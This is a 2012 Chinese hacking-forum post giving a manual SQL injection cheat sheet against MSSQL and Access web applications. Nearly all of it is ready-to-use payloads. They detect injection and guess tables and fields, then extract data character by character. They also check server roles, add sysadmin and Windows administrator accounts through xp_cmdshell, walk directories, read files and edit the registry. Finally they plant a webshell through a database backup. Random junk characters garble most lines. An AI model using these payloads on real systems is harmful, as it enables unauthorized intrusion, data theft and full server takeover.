找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2130|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入 4 `# M1 i* [& D  _' u" n" X: W
1.判断是否有注入;and 1=1 ;and 1=2 9 L7 j, X5 q2 m/ _2 ]  c; [
' V- V8 c! I; `( }7 u1 D. m* u# A
2.初步判断是否是mssql ;and user>0
- J/ q9 z. U: n6 [' a2 W# O1 R3 }2 g- H, `6 O/ [6 P
3.注入参数是字符'and [查询条件] and ''=' ; J' n$ {" w: Z$ v+ y
. Z! h9 z* k" V7 X+ F' |
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ' P; ^+ U% y' u4 u5 w
$ z/ B( K5 L2 Z; P
5.判断数据库系统
2 z& x/ s  d, @3 g4 V. ]- r' G: c;and (select count(*) from sysobjects)>0 mssql ( k0 ?0 F, L1 ]# m9 j2 P( v6 e8 f) @
;and (select count(*) from msysobjects)>0 access
( Y: i) f1 @0 f) g; P! o6 k0 d$ J7 T0 e" u2 O
6.猜数据库 ;and (select Count(*) from [数据库名])>0
' [* C$ A% _: `' G/ z( P; f: h+ O1 P. Y$ t0 W* x* Y4 T2 D
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 % G" X7 p7 w# D  t

; f- v' _% |) J; }8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
: h% E1 q$ R8 G3 l
) c3 Z, g+ ^3 m: d4 W5 k5 E9.(1)猜字段的ascii值(access)
$ ~5 q* X% j/ f" f/ ^9 v;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
, b) b% g$ v0 h! s1 h& Z( v/ }0 j% R- C& s- C$ r, p' l& {) c
(2)猜字段的ascii值(mssql)
1 C) u( y6 {6 |+ V8 [2 S" V;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3 |( X* J6 l+ M4 ?7 L3 o4 @. ~

- G( K& N' k5 _7 _- T; D/ w/ Y10.测试权限结构(mssql)   X$ x) U8 j/ T' T" ^) d
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- % f$ }" z; x- H% `: t, h
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ n: T, }/ n; ^! L" t/ e6 j
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
! A; p7 w) s4 d; {+ L) m' G7 B;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ! y) i0 j0 w4 q3 r, s1 g* p
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--   O0 S5 h" W: p
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 1 m! W7 W. h6 c! R" Z% A8 L
;and 1=(select IS_MEMBER('db_owner'));-- - X  ~+ K9 u* A7 f, c
# Y& X4 s' R0 `: P. X5 ?
11.添加mssql和系统的帐户 - N# b2 f% ~  \+ a; b
;exec master.dbo.sp_addlogin username;-- 2 z, d' M1 l) O" V! [

! y6 m1 C5 z* \, T* g. ], `9 m;exec master.dbo.sp_password null,username,password;-- * W5 n" x: a  x
) i% |5 T' J- A. d5 @7 b
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ( B9 d: r2 T  ~- G; p
5 \3 y. K2 w! G$ p- @- S) _
;exec master.dbo.xp_cmdshell 'net user username password
  K9 T5 G. N2 V; f# E/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
( M; n3 z' @  n' z# I" g4 Z; M* P9 Q" ]  p9 ]' m
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ' O; A' u# K* Z4 z( Z& O: r1 `: l
$ c8 I5 s3 z6 z/ D, [
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
, Y5 M! S' v( Z
0 }  q8 C4 X7 g, J, l7 S12.(1)遍历目录 + W. G) E' p- i

7 A$ U$ ?* r7 g$ ]; y* x8 O;create table dirs(paths varchar(100), id int)
) ?" A& L/ J. j. D2 @, K. [2 Q4 w;insert dirs exec master.dbo.xp_dirtree 'c:\'   N) p: A, \9 S& e! J
;and (select top 1 paths from dirs)>0
* i$ l$ ?* P6 D2 a$ C2 x) M" a;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) % K# Y1 ]8 ]9 |) U$ ]: t/ z0 H
- s2 p# O4 X- Z( M
(2)遍历目录 ) R# x3 d4 C* T: Z$ J
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
, L9 ?5 z& Z$ i7 |# v; S# O;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ; M$ ]0 Q+ I4 l' @/ w; d$ P
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $ f: m9 s& P4 [" x5 W3 C* G8 g
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 + l1 i! x8 N* f  R& L# v/ I+ z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
  f2 y" ~+ d: q2 C6 ^% I& ?! C4 w* i& ]. I$ K" r: ^4 U- C; D
13.mssql中的存储过程
% g& j8 D* ^5 R+ L2 v# Z3 n) b& O" @" J; S
+ U1 x! G$ m6 S5 ^) r( J. c: mxp_regenumvalues 注册表根键, 子键 8 i) {" {3 o) |9 i
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
' |7 s# g/ u- C/ g4 N- f
& P4 [/ I1 q2 ?4 Cxp_regread 根键,子键,键值名 / T1 Q- D4 U$ ~$ \1 _  \
;exec xp_regread & O) B- Q( O9 V4 Q6 ~, Z4 n
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % a( B: H! w& ?: ]% R% ~

: |9 l% f/ h# gxp_regwrite 根键,子键, 值名, 值类型, 值 ; K, _" R& a( K, d7 ^8 g
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' s& T: v, {- Z. T: u. e& O, ^2 m;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 , l! ]+ \- x* k4 ~/ F
- b( }: b; M. K0 t! H. \
xp_regdeletevalue 根键,子键,值名
- t4 s$ O3 i7 K* k* o7 W2 }, I# i& l, j6 p' X5 c# F; [0 P; {
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ' R% N3 h" o: P: w( Z: a9 z

( |+ ^$ P/ b) l: H9 q- `xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 / V/ T" h  M8 E% s
4 C: {. O8 j3 t
14.mssql的backup创建webshell
, {9 p/ V( G6 d. H" `use model % D! @4 P* Q. y0 ?2 {
create table cmd(str image); 4 ]0 q3 d+ A$ c% z2 k, U
insert into cmd(str) values (''); + l, s& ~, R2 Q8 E( g: u0 R
backup database model to disk='c:\l.asp'; 7 r2 g; c/ f' u- c3 t- t) O; y3 I; ~
5 _8 k3 W6 A) O0 \0 c7 _1 O; S2 E
15.mssql内置函数 $ w% {3 z: `) p; L
;and (select @@version)>0 获得Windows的版本号 3 [  \5 k2 h. A0 H4 A/ Z
;and user_name()='dbo' 判断当前系统的连接用户是不是sa   A+ p& V- N# E8 o
;and (select user_name())>0 爆当前系统的连接用户   o! A( `: l" @
;and (select db_name())>0 得到当前连接的数据库
& Y/ s& g$ {" J& z6 F' P. n+ f1 Z# ~! W3 I' l1 `
16.简洁的webshell
/ }+ u& V7 Z4 |* u& A# z3 s! i  l8 e. c; F( E
use model ( \) y- Q5 `1 Q* w) ], t, c5 V: C
' \; N3 L! x, t: a: ~- Y# ?
create table cmd(str image);
0 t% J$ ~* K" ?8 R8 `( ^. B
9 {& Y) Z5 u$ A; L  H4 Ainsert into cmd(str) values ('');
* J5 A( f. N: `3 h! J8 m, K6 e* @% q3 d$ h7 A" ]
backup database model to disk='g:\wwwtest\l.asp';
( i9 U6 v3 i, u5 I5 D/ f 0 M' @- I% k7 h# Q: `8 z6 X% w; s2 T+ W
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表